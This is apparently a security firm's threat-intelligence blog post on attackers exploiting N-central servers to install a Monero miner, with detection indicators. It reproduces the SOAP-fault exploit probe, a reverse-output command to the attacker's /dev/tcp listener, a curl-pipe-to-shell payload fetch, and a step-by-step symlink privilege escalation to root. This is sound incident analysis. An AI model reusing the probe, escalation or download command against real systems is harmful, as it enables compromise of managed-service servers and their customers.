Blog · Threat intel · · 7 min read · by huntback Research

4EverAble2Shell is already mining Monero on live N-central servers

From proof of concept to first probe in four and a half hours

Earlier this week a researcher published working exploits for more than thirty N-central flaws, and N-able shipped 2026.4 Hotfix 2 on 10 November. On 12 November two more exploits followed, 4EverAble2Shell and Agent2Shell. Public reporting says 4EverAble2Shell gives unauthenticated remote code execution as root and works against Hotfix 2 when the Legacy API is enabled.12

Time (UTC), 12 NovWhat happened
03:584EverAble2Shell and Agent2Shell added to the public exploit repository.3
07:48Repository update covering the Legacy API requirement.
08:30First 4EverAble2Shell check from 157.20.241[.]16 on a huntback N-central decoy (user-agent Mozilla/5.0).
08:59 to 09:00Second round of checks.
09:16First weaponised request (user-agent python-requests/2.31.0): root escalation plus miner install.
09:36, 10:03, 10:05The same payload again, each with its own callback port between 19202 and 19418.
10:09A final check, the same probe body as at 08:30.
12:50The operator's mining pool account lists 21 nc_ rigs, all active.

The check

Every request went to POST /dms/services/ServerUI, the Apache Axis SOAP endpoint. The check is a SOAP fault whose exceptionName names a Java class. On a vulnerable server Axis tries to instantiate that class while handling the fault.

<soapenv:Fault><faultcode>soapenv:Server</faultcode><faultstring>fault</faultstring><detail>
  <data xsi:type="xsd:string">probe</data>
  <exceptionName>jline.internal.TerminalLineSettings</exceptionName>
</detail></soapenv:Fault>

jline.internal.TerminalLineSettings runs a shell command built from the data field when it is constructed. Here the field holds the word probe, so a vulnerable server answers without doing anything visible. The weaponised requests swap that word for a command.

The weaponised request: nable, then root

Forty-five minutes after the first check, the data field carried this (base64 shortened, addresses defanged):

/var/opt/n-central/tmp; exec 9</var/opt/n-central/tmp; /usr/bin/flock -n 9 || exit 0;
((/usr/bin/printf %s IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwpp...|/usr/bin/base64 -d|/usr/bin/python3 - --encoded-command bW91bnQgLW8gcmVtb3Vu...)
  >/dev/tcp/157.20.241[.]16/19202 2>&1; /usr/bin/sleep 2) </dev/null >/dev/null 2>&1 & #

The command runs as nable, the account the N-central web stack runs under. A flock on the temp directory stops it running twice. Its output goes straight back to the operator over a raw TCP connection.

The Python script it pipes in (SHA-256 fc4c01fd11bc301cf312830460cfdccc3af9dcfe50c910b86d6a1117bc76c747) turns nable into root using N-central's own maintenance helper:

  1. It refuses to run as root, and stops if /var/opt/n-central/flag/flag_default.json already exists.
  2. It backs up /opt/nable/var/ncsai/scripts/ServerChild.sh to /var/opt/n-central/tmp/serverchild-<hex>.bak.
  3. It creates flag_default.json as a symlink to ServerChild.sh, then runs sudo /opt/nable/usr/sbin/nable_wrapper.pl setLDFileOwner. The helper changes the owner of the flag file, follows the symlink, and hands ServerChild.sh to nable.
  4. It rewrites ServerChild.sh to exec a stage-two script, then runs sudo nable_wrapper.pl serverControl noop --wait, which runs ServerChild.sh as root.
  5. Stage two restores the original ServerChild.sh with root ownership, deletes the symlink and backup, runs the operator's command as root and writes its output to a file nable can read.
  6. The script prints write_before, write_after and helper_restored so the operator can see over the TCP callback that the escalation worked and the traces are gone.

The root command, decoded from --encoded-command, was:

mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_<target-ip>

The argument is the target's own IP address with dots turned into dashes. The operator works from a target list and labels every victim before the payload is sent.

What jup.sh installs

jup.sh is a short, careful miner installer:

  • It works from /tmp/.xvd, or /var/tmp/.xvd if /tmp is unusable, and remounts it exec when running as root.
  • It fetches the miner as /xvgz (gzip), falling back to /xmrig.tgz (stock XMRig 6.26.0), from 157.20.241[.]16:8080. It uses curl, then wget, then Python, whichever is present.
  • It uses half the CPU cores, at most 8, with --cpu-max-threads-hint 50. Below 2.5 GB of free memory it switches RandomX to light mode on at most 2 threads. On a busy N-central server that keeps load low enough not to be noticed straight away.
  • It mines to 139.99.69[.]109:10128, falling back to 79.76.51[.]56:39100 if the first pool does not answer within six seconds. The rig ID is the nc_<victim-ip> label.
  • It persists through a keep.sh watchdog: a systemd unit xvd.service if it can write /etc/systemd/system, otherwise a user crontab line tagged # xvkeep, otherwise /etc/cron.d/xvd, each relaunching the miner every 10 minutes if it has died.
  • It reports back twice over HTTP: /ob/cronhit?h=jup_start_<rig>&persist=<method> when it starts, then /ob/fcheck with the miner PID, core count, threads, free memory, persistence method and the tail of the miner log.

The pool shows it is working

The installer's wallet mines on a public pool that publishes per-rig statistics. Because the installer names each rig after the victim's IP, that page is a live list of infected hosts. At 12:50 UTC on 12 November the wallet had 21 rigs whose names start with nc_:

  • All 21 had submitted a valid share in the previous five minutes, between 12:45 and 12:50 UTC. Together they were producing about 25 kH/s.
  • We checked each address with a few ordinary HTTPS requests. All 21 serve N-central's root page (N-central Login Redirect). 20 serve the N-central login page, most with the managed service provider's own branding, behind certificates issued to that provider months ago. The last one restricts its login page but presents a certificate for an IT services company. These are production servers, not sandboxes or decoys.
  • 19 of them report build 2026.4.1.26, which is N-central 2026.4 Hotfix 2, released on 10 November to fix the Able2Shell flaws. One runs 2025.3.1.9. The servers that had applied the patch were compromised just the same.
  • They sit in the United States (9), South Africa (4), Canada (4), the United Kingdom, Germany, France and Sweden (1 each). They are spread across Microsoft Azure, AWS, OVH, regional carriers and managed service providers, and three are in one MSP's address block.
  • The labels this operator assigned to our decoys do not appear on the pool. The decoys never run commands, so no miner started there. Every nc_ rig listed is a real server that ran the chain to the end.

We are not publishing the affected addresses. Every N-central server holds remote-management access to the customers behind it. Here that access is in the hands of someone whose root command so far installs a miner, but who runs a tested escalation with a callback channel and could run anything else the same way.

N-central is the newest target, not the only one

The same wallet had 631 rig names at 12:50 UTC, mining about 255 kH/s in total. The names show what else this operator exploits. Besides nc_ there are prefixes for Jpom (jpom_, 39 rigs), FreePBX (fpbx_, 12), MLflow (mlflow_, 10), Apache Flink (flink_, 5), PaperCut (papercut_, 2), SFTPGo (sftpgo_, 2) and AJ-Report (ajreport_, 2). There are also more than 170 rigs named <ip>_3000, the default port of many Node.js web apps. The N-central rigs are this operator's latest addition to an existing mining operation that picks up new exploits as they are published, within hours.

What N-central owners should check now

  • Files: /tmp/.xvd/ or /var/tmp/.xvd/ (x, keep.sh, xm.log); serverchild-*.bak, serverchild-*.sh or serverchild-*.out in /var/opt/n-central/tmp/; a symlink at /var/opt/n-central/flag/flag_default.json.
  • Persistence: /etc/systemd/system/xvd.service, /etc/cron.d/xvd, or a crontab line ending # xvkeep for nable or root.
  • Processes: anything with --rig-id nc_ or --donate-level 1 on its command line, or a binary named x running from .xvd.
  • Network: outbound connections to 157.20.241[.]16 (port 8080 and ports 19202 to 19418), 139.99.69[.]109:10128 or 79.76.51[.]56:39100.
  • Logs: POSTs to /dms/services/ServerUI whose body holds a SOAP fault with an exceptionName element, in particular jline.internal.TerminalLineSettings.

The miner is the only payload we have seen, but the escalation hands the operator root on a host that manages your customers' endpoints. Treat a hit as a full compromise, not a cleanup job. Applying Hotfix 2 is not enough on its own: 19 of the victims here were already running it. Follow N-able's current guidance, and keep the Legacy API disabled while the 4EverAble2Shell fix is outstanding.14

Free alert

Know the next time N-central is exploited

Our N-central decoys keep listening. Sign up free and we email you as soon as a new N-central exploit hits them, with the payload, the source address and the indicators to check. N-central is already picked for you, and it takes about a minute.

Alert me about N-central, free

Indicators

IndicatorContext
157.20.241[.]16Exploitation source, payload host (:8080) and callback listener (TCP 19202 to 19418)
hxxp://157.20.241[.]16:8080/jup.shMiner installer fetched by the root command
hxxp://157.20.241[.]16:8080/xvgz, /xmrig.tgzMiner binary (gzip; XMRig 6.26.0 tarball fallback)
hxxp://157.20.241[.]16:8080/ob/cronhit, /ob/fcheckInstaller check-in beacons
139.99.69[.]109:10128Primary mining pool endpoint
79.76.51[.]56:39100Fallback mining endpoint
41wx2Pv3FzfRvX11jQgzM4bRbgvr6GViRXCKkHhXhLVQ64mgUR5ks4CEzHx8zqUJ8MgsWwTaWiS3uiZbCgJQnNXoB19mGtrMonero wallet
fc4c01fd11bc301cf312830460cfdccc3af9dcfe50c910b86d6a1117bc76c747SHA-256 of the nable-to-root Python script
jline.internal.TerminalLineSettingsexceptionName in the SOAP fault sent to /dms/services/ServerUI
python-requests/2.31.0User-agent of the weaponised requests (checks used Mozilla/5.0)
/tmp/.xvd, /var/tmp/.xvd, xvd.service, # xvkeep, /etc/cron.d/xvdHost artefacts
nc_<victim-ip>Rig ID the miner reports to the pool

Sources

  1. The Hacker News: New N-central exploits work against patched servers, enable root RCE and Windows SYSTEM access
  2. Tenable: Able2Shell FAQ, N-able N-central zero-days and Hotfix 2
  3. MSPNightmare/CVEs: 4EverAble2Shell (commit history gives the 03:58 and 07:48 UTC times)
  4. BleepingComputer: N-able takes cloud platform offline after 30-plus zero-days published